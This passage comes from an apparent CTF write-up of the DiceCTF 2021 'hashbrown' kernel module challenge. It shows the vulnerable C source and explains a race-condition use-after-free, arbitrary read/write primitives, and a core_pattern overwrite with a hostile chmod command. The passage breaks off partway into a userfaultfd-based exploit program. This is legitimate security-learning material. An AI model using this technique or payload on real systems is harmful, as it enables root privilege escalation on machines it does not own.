module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is easy, a race condition can be occurs in &lt;code&gt;hashmap_ioctl&lt;/code&gt; function:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;hashmap_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;file, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; SIZE_ARR_MAX) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;request, (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;))) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAX_ENTRIES) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; MAXED;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, hashmap.size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;switch&lt;/span&gt; (cmd) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we can see, we can trigger &lt;code&gt;resize&lt;/code&gt; function and other modification functions.
And in &lt;code&gt;resize&lt;/code&gt; function, there is a entry-copy mechanism which allocate new heap chunk and copy old entry&amp;rsquo;s data to new one.
After copying, delete old hashmap&amp;rsquo;s bucket using &lt;code&gt;resize_clean_old&lt;/code&gt; and set hashmap&amp;rsquo;s bucket to new one:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hash_entry &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;new_buckets, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_entry, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; new_size, new_threshold, new_idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i, duplicate;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; hashmap.size; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.buckets[i]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hashmap.buckets[i]; temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; request.key) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;duplicate) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp_data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(request.size, GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp_data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(temp_data, request.src, request.size)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp_data);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hashmap.entry_count&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_clean_old&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_threshold;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.buckets &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_buckets;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; (duplicate) &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; EXISTS : &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;make-uaf-and-get-controlled-entry&#34;&gt;Make UAF and get controlled entry&lt;/h3&gt;
&lt;p&gt;So, if we delete the value after copying and before &lt;code&gt;resize_clean_old&lt;/code&gt;, there will be freed value in new bucket.
Since size of &lt;code&gt;hash_entry&lt;/code&gt; is 0x20, we can get controll to entry with freed value in new bucket (see &lt;code&gt;construct_corrupted_entry&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;aaraaw&#34;&gt;AAR/AAW&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;hash_entry&lt;/code&gt;, &lt;code&gt;size&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; member exist. So we can make AAR and AAW primitives using them (see &lt;code&gt;aar&lt;/code&gt; and &lt;code&gt;aaw&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;find-core_pattern-and-overwrite-it&#34;&gt;Find core_pattern and overwrite it&lt;/h3&gt;
&lt;p&gt;Although we can read and write at arbitrary address, there is a limit to do reading because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source/mm/usercopy.c#L256&#34;&gt;&lt;code&gt;__check_object_size&lt;/code&gt;&lt;/a&gt;.
But, I can leak some address in kernel area (see &lt;code&gt;find_kernel_address&lt;/code&gt;). And using it, I can find kernel base (see &lt;code&gt;find_core_pattern_address&lt;/code&gt; and the few lines after calling it).&lt;/p&gt;
&lt;p&gt;Then since we can read and write at arbitrary address and we know the &lt;code&gt;core_pattern&lt;/code&gt; address, overwrite &lt;code&gt;core_pattern&lt;/code&gt; with &amp;ldquo;|/bin/chmod 6777 -R /&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;549712386&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;549712386&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);
static int register_uffd(void* addr, size_t len, void* (*handler)(void*));

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

#define VULN_DEV_NAME &amp;#34;hashbrown&amp;#34;

#define VULN_DEV_CMD_ADD_KEY 0x1337
#define VULN_DEV_CMD_DELETE_KEY 0x1338
#define VULN_DEV_CMD_UPDATE_VALUE 0x1339
#define VULN_DEV_CMD_DELETE_VALUE 0x133a
#define VULN_DEV_CMD_GET_VALUE 0x133b

#define VULN_DEV_CONST_SIZE_ARR_START 0x10
#define VULN_DEV_CONST_SIZE_ARR_MAX 0x200
#define VULN_DEV_CONST_MAX_ENTRIES 0x400
#define VULN_DEV_CONST_MAX_VALUE_SIZE 0xb0
#define VULN_DEV_GET_THRESHOLD(size) (size - (size &amp;gt;&amp;gt; 2))

#define VULN_DEV_RESULT_INVALID 1
#define VULN_DEV_RESULT_EXISTS 2
#define VULN_DEV_RESULT_NOT_EXISTS 3
#define VULN_DEV_RESULT_MAXED 4

typedef struct {
  uint32_t key;
